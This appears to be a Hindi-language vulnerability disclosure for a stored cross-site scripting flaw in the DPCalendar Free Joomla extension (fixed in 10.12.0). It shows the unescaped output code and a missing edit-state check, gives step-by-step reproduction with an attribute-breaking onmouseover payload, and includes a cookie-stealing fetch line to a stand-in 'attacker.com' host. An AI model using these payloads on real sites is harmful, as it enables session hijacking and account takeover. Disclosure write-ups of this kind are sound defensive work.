
स्टोर्ड XSS DPCalendar Free में Location Title के माध्यम से
DPCalendar Free ≤ 10.11.2 — Author-Role उपयोगकर्ता Content Review को बायपास करके Location Title के जरिए Persistent XSS इंजेक्ट करता है, जो किसी भी विज़िटर के Hover करने पर ट्रिगर होता है
$location->title फ़ील्ड को default_locations.php में htmlspecialchars() के बिना रेंडर किया जाता है। Joomla का सर्वर-साइड InputFilter::clean() स्ट्रिंग फ़ील्ड्स से और हटा देता है, लेकिन की अनुमति देता है, जिससे Author-role उपयोगकर्ता HTML attribute context से बाहर निकल सकता है। जब कोई भी विज़िटर किसी event page के Location information section पर hover करता है, तो इंजेक्ट किया गया handler उनके browser session में मनमाना JavaScript निष्पादित करता है।
<>"onmouseoverएक दूसरा design flaw इस प्रभाव को और बढ़ाता है: EventController::allowEdit() केवल created_by == current_user की जाँच करता है — यह event publication state की जाँच नहीं करता। एक Author एक benign event बना सकता है, उसे administrator द्वारा publish करवा सकता है, और फिर publication के बाद linked location के title को संपादित करके उसे silently weaponize कर सकता है, जिससे content review पूरी तरह बायपास हो जाती है। XSS payload moderation के बाद इंजेक्ट किया जाता है; administrators इसे अपनी review cycle के दौरान कभी नहीं देखते।
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
प्रकार: Stored Cross-Site Scripting / Improper Output Encoding (CWE-79)
आवश्यक प्रमाणीकरण: Author role — frontend उपयोगकर्ता (Joomla group 4, events बनाने के लिए न्यूनतम)
फ़ाइल: site/tmpl/event/default_locations.php
$location->title को default_locations.php में दो output contexts में सीधे — बिना htmlspecialchars() के — echo किया जाता है। Attribute context web UI के माध्यम से exploit करने योग्य sink है, क्योंकि Joomla का InputFilter <> को ब्लॉक करता है लेकिन " को बिना बदले पास कर देता है।
DEFAULT_LOCATIONS.PHP — भेद्य OUTPUT SINKS
// Sink 1 — text content (HTML injection; <> web UI के माध्यम से InputFilter द्वारा हटा दिया जाता है)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Sink 2 — HTML attribute (attribute injection; " InputFilter से पास हो जाता है)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
New Location" onmouseover="alert(document.domain) जैसा title मान सर्वर द्वारा बिना बदले संग्रहीत किया जाता है। Output पर, Sink 2 इस प्रकार रेंडर होता है:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
onmouseover attribute रेंडर किए गए DOM में एक live event handler बन जाता है।
EventController::allowEdit() किसी भी Author को उनके अपने events के लिए publication state की परवाह किए बिना edit access प्रदान करता है। एक attacker admin review के लिए एक सामान्य event submit करके trust स्थापित करता है, फिर — admin द्वारा publication के बाद — XSS payload इंजेक्ट करने के लिए linked location को silently संपादित करता है:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() में STATE CHECK का अभाव
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ $event->state पर कोई जाँच नहीं — published events Author द्वारा editable रहते हैं
}
Frontend login form पर जाएँ और Author account (Joomla group 4 — events और locations बनाने के लिए न्यूनतम आवश्यक) से लॉग इन करें।

/index.php?option=com_dpcalendar&view=form पर जाएँ। एक साफ़ title के साथ event बनाएँ और कोई भी मौजूदा location (जैसे "Greater London") attach करें। यह payload पेश करने से पहले Author की legitimacy स्थापित करता है।


Event review के लिए submit किया जाता है। एक administrator लॉग इन करता है और इसे DPCalendar backend से publish करता है। Event अब live है और सभी site visitors को दिखाई देता है।

Author के रूप में, published event page पर जाएँ। Edit Event बटन दिखाई देता रहता है — allowEdit() publication state की जाँच नहीं करता। Edit Event पर क्लिक करें, Location tab पर जाएँ, और locationform खोलने के लिए pencil icon पर क्लिक करें।

Location name को payload से बदलें। Joomla का InputFilter " को पास कर देता है — payload बिना बदले save हो जाता है और output पर HTML attribute context को तोड़ देता है:
PAYLOAD — TITLE FIELD (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

Save पर क्लिक करें।
जब कोई भी उपयोगकर्ता — authenticated या anonymous — event detail page पर जाता है और अपना cursor Location information section पर ले जाता है, तो इंजेक्ट किया गया onmouseover handler तुरंत fire होता है। Page पर visit करने के अलावा कोई authentication, click, या आगे की interaction आवश्यक नहीं है।

Raw payload event page के Location section में दिखाई देता है — unescaped title एक live HTML attribute के रूप में रेंडर होता है:

Location section पर hover करने से anonymous visitor के browser में alert dialog fire होता है:

Session hijacking — इंजेक्ट किया गया handler fetch('//attacker.com/?c='+document.cookie) के माध्यम से victim के session cookie को exfiltrate कर सकता है, जिससे event देखने वाले किसी भी role के लिए पूर्ण account takeover संभव हो जाता है।
Persistent, event-scoped attack surface — Payload तब तक बना रहता है जब तक location title को मैन्युअल रूप से ठीक नहीं किया जाता। Event page पर आने वाला हर उपयोगकर्ता — जिसमें anonymous visitors भी शामिल हैं — exposed होता है। High-traffic events (public conferences, booking pages) victim count को कई गुना बढ़ा देते हैं।
Post-publication trust bypass — क्योंकि Author admin approval के बाद location को silently संशोधित कर सकता है, payload content review के दौरान कभी नहीं देखा जाता। Benign event moderation पास कर जाता है; XSS उसके बाद इंजेक्ट किया जाता है।